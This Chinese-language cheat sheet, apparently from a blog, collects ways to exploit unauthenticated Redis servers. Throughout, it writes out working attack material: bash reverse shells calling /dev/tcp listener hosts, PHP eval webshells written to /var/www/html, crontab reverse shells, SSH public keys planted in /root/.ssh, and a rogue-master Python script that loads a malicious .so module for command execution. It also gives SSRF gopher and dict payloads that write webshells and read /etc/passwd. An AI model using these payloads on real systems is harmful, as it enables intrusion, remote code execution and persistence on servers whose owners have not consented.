Redis未授权访问利用方式总结

Redis未授权访问利用方式总结

环境搭建

官方下载地址: https://download.redis.io/releases/

编译安装,

或者使用Docker 环境

1
2
// docker pull redis:4.0
docker pull redis:5.0

基础利用

  • bash反弹shell

1
bash -i >& /dev/tcp/192.168.119.137/7777 0>&1

写入webshell

1
2
3
4
config set dir /var/www/html
config set dbfilename shell.php
set webshell "<?php @eval($_POST['cmd']);?>"
save

计划任务反弹shell

利用crontab反弹shell

1
2
3
4
set x "\n\n* * * * * bash -i >& /dev/tcp/192.168.119.1/7777 0>&1\n\n"
config set dir /var/spool/cron/crontabs
config set dbfilename root
save

写入公钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
127.0.0.1:6379> config get dir
1) "dir"
2) "/"
127.0.0.1:6379> config set dir /root/.ssh/
OK
127.0.0.1:6379> config get dir
1) "dir"
2) "/root/.ssh"
127.0.0.1:6379> config set dbfilename authorized_keys
OK
127.0.0.1:6379> set x "AAAAB3NzaC1yc2EAAAADAQABAAABgQCzmbxEDVJkRj8CfUb94H//exUqIxTe67ssJBHYJVok9ZVB3g8SYdHrkzrXZpfx5VqgoCEJjNNwuVGP/2R3AK/XgtqYcCAfzWnBRdA8vW5LVzB61wqyYIugQaC9y56x+QTTXuKTltgjpjuBXsAlQ6+5TlPB79qonV/xEsAr7PzxghhtxIZF2A+XTxrTJ4ByfUCvfpZ1ORxNdbnVEWMfSR6RYko9eVkC5AuRiscdYKumrP5Waoj4ET5D+/rRPxE9SPSAIRYs68DZ9mbkKhHgZLVCqNfFp1yZ/t97DfKihn9nRWwQjetSsrqLDbBfhLA0Frq0o+usaevuSL5dgToSwLg5IuWMVvdkcpbK92M9eb7Y0aWgSfGXbkaVegCtriDRYLNK/8rifro1vKwIG1aBcR7NyEe0KGQV9pYO8HPY0TpDq4eDNq1lAGTgND/DAVqXnVce9yPID+XgPhpTt1gxzGdjaNDNSZTotsHppK3EsYsV54QlMseIubHP0DXpgSkLWws=" (PS: 这里内容为公钥 中间的密钥文件)
OK
127.0.0.1:6379> save
OK
127.0.0.1:6379>

1
/etc/init.d/ssh restart
1
2
ssh -p 10022 -i id_rsa [email protected]
-p 指定端口

image-20201124124820325

主从复制

Redis主从复制详解:

https://www.bbsmax.com/A/l1dyv3Agze/

主从复制流量分析:

https://inhann.top/2021/09/14/redis_master_slave_rce/

环境搭建

使用 Docker 搭建

1
docker pull redis:5.0
1
2
# Redis_1
docker run -it -d -p 6380:6379 --name Redis_1 redis:5.0

编译源码搭建

1
2
3
4
wget https://download.redis.io/releases/redis-5.0.14.tar.gz
tar xvf redis-5.0.14.tar.gz
cd redis-5.0.14
make

保护模式报错

image-20211203143019591

解决方式

配置文件中可以关闭保护模式

image-20211203143103050

配置绑定ip

1
bind 192.168.56.106 // 或者 0.0.0.0

image-20211203143328195

image-20211203143350114

image-20211203143411876

构建恶意 .so 文件

github项目地址: https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

1
2
3
cd RedisModules-ExecuteCommand
make
# module.so 在src目录下

导入模块方式

1
redis-server ./redis.conf --loadmodule ./module.so
1
2
redis-cli -h xxxxx
> module load ./module.so

命令执行

1
> system.exec "whoami"

脚本探测:

https://github.com/Ridter/redis-rce

1
python redis-rce.py -r 192.168.56.106 -p 6380 -L 192.168.56.106  -f module.so

image-20211203151828074

手工探测


恶意Redis服务端模拟脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import socket
from time import sleep
from optparse import OptionParser

def RogueServer(lport):
resp = ""
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(("0.0.0.0",lport))
sock.listen(10)
conn,address = sock.accept()
sleep(5)
while True:
data = conn.recv(1024)
if "PING" in data:
resp="+PONG"+CLRF
conn.send(resp)
elif "REPLCONF" in data:
resp="+OK"+CLRF
conn.send(resp)
elif "PSYNC" in data or "SYNC" in data:
resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
resp += "$" + str(len(payload)) + CLRF
resp = resp.encode()
resp += payload + CLRF.encode()
if type(resp) != bytes:
resp =resp.encode()
conn.send(resp)
#elif "exit" in data:
break


if __name__=="__main__":

parser = OptionParser()
parser.add_option("--lport", dest="lp", type="int",help="rogue server listen port, default 21000", default=21000,metavar="LOCAL_PORT")
parser.add_option("-f","--exp", dest="exp", type="string",help="Redis Module to load, default exp.so", default="exp.so",metavar="EXP_FILE")

(options , args )= parser.parse_args()
lport = options.lp
exp_filename = options.exp

CLRF="\r\n"
payload=open(exp_filename,"rb").read()
print "Start listing on port: %s" %lport
print "Load the payload: %s" %exp_filename
RogueServer(lport)

运行脚本

1
python RogueServer.py --lport 8088 --exp exp.so

image-20211203201601816

执行相关命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#设置redis的备份路径为当前目录
> config set dir ./
#设置备份文件名为exp.so,默认为dump.rdb
> config set dbfilename exp.so
#设置主服务器IP和端口
> slaveof 192.168.56.106 8088
#加载恶意模块
> module load ./exp.so
#切断主从,关闭复制功能
> slaveof no one
#执行系统命令
> system.exec 'whoami'
> system.rev 127.0.0.1 9999
#通过dump.rdb文件恢复数据
> config set dbfilename dump.rdb
#删除exp.so
> system.exec 'rm ./exp.so'
#卸载system模块的加载
> module unload system

image-20211203201544438

exp汇总

[+] 构造恶意so文件: https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

https://github.com/vulhub/redis-rogue-getshell

https://github.com/Ridter/redis-rce

https://github.com/LoRexxar/redis-rogue-server

参考链接:

https://www.cnblogs.com/xiaozi/p/13089906.html

SSRF利用方式

1
2
3
4
5
127.0.0.1
代替方式: 127.1
[::1]
localhost
转成10进制, 2130706433

通过dict协议利用redis的未授权访问反弹shell的步骤如下:

1
2
3
4
5
6
7
# 1、开启反弹shell的监听
nc -l 9999
# 2、依次执行下面的命令
curl dict://192.168.0.119:6379/set:x:"\n\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1\n\n"
curl dict://192.168.0.119:6379/config:set:dir:/etc/
curl dict://192.168.0.119:6379/config:set:dbfilename:crontab
curl dict://192.168.0.119:6379/bgsave

1.file协议读取文件

这个协议可以读取系统的一些存放密码的文件,比如说linux的/etc/passwd或者windows的C:/windows/win.ini 等,或者说ctf中的flag文件。

1
http://xxx.xxx.xx.xx/xx/xx.php?url=file:///etc/passwd

2.利用gphper协议

利用工具gphperus, 生成payload

https://github.com/tarunkant/Gopherus

1
2
3
4
5
6
7
8
9
10
gopherus --exploit redis
Ready To get SHELL

What do you want?? (ReverseShell/PHPShell): PHPShell

Give web root location of server (default is /var/www/html):
Give PHP Payload (We have default PHP Shell): <?php @eval($_POST['cmd'])?>

Your gopher link is Ready to get PHP Shell:

1
url=gopher://127.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252428%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B1%255D%2529%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
1
2
3
4
5
原始内容: 需要两次url编码
gopher://2130706433:6379/_set x "\n\n\n<?php @eval($_POST['cmd']);?>\n\n\n"
config set dir /var/www/html
config set dbfilename shell.php
save

3.利用dict协议

1
http://172.16.20.51:28940/?url=dict://2130706433:6379/info
1
2
http://172.16.20.51:28940/?url=dict://2130706433:6379/set:x:"<?php @eval($_POST[1])?>"
shell需要进行utf-8编码
1
2
3
4
config:set:dir:/var/www/html
config:set:dbfilename:shell.php
set:x:"<?php @eval($_POST[1])?>"
save
  • payload

1
2
3
4
url=dict://2130706433:6379/set:x:"\x3C\x3F\x70\x68\x70\x20\x40\x65\x76\x61\x6C\x28\x24\x5F\x50\x4F\x53\x54\x5B\x31\x5D\x29\x3F\x3E"
config:set:dir:/var/www/html
config:set:dbfilename:shell.php
save
1
2
3
4
5
6
7
8
$ curl http://172.16.20.51:28151/?url=dict://2130706433:6379/config:get:dir
-ERR Syntax error, try CLIENT (LIST | KILL | GETNAME | SETNAME | PAUSE | REPLY)
*2
$3
dir
$13
/var/www/html
+OK
1
2
3
4
5
6
将内容转成utf-8
s = "<?php @eval($_POST[1])?>"
res = ""
for i in s:
res += hex(ord(i)).replace("0xa","0x0a").replace("0x",r"\\x")
print(res)
1
2
<?php @eval($_POST[1])?>
转成utf-8, \\x3c\\x3f\\x70\\x68\\x70\\x20\\x40\\x65\\x76\\x61\\x6c\\x28\\x24\\x5f\\x50\\x4f\\x53\\x54\\x5b\\x31\\x5d\\x29\\x3f\\x3e 对\进行转义
1
2
curl http://172.16.20.51:28151/?url=dict://2130706433:6379/set:x:\"\\x3c\\x3f\\x70\\x68\\x70\\x20\\x40\\x65\\x76\\x61\\x6c\\x28\\x24\\x5f\\x50\\x4f\\x53\\x54\\x5b\\x31\\x5d\\x29\\x3f\\x3e\"
使用 curl 需要对x的键值进行转义
1
<?php @eval($_POST['cmd'])?>

参考链接:

https://zhuanlan.zhihu.com/p/36529010

https://mp.weixin.qq.com/s?__biz=Mzg4MzA4Nzg4Ng==&mid=2247483814&idx=1&sn=572eff495ac4e2f80583c27ddf8fe96b&chksm=cf4d8ec7f83a07d1ad01d06e78c5905508ca32b38681f8c1268cdf0ae7d0f9e3d88e229cf87b

http://blog.leanote.com/post/snowming/2d9a2082c02b

[+] 利用主从复制getshell: https://www.cnblogs.com/xiaozi/p/13089906.html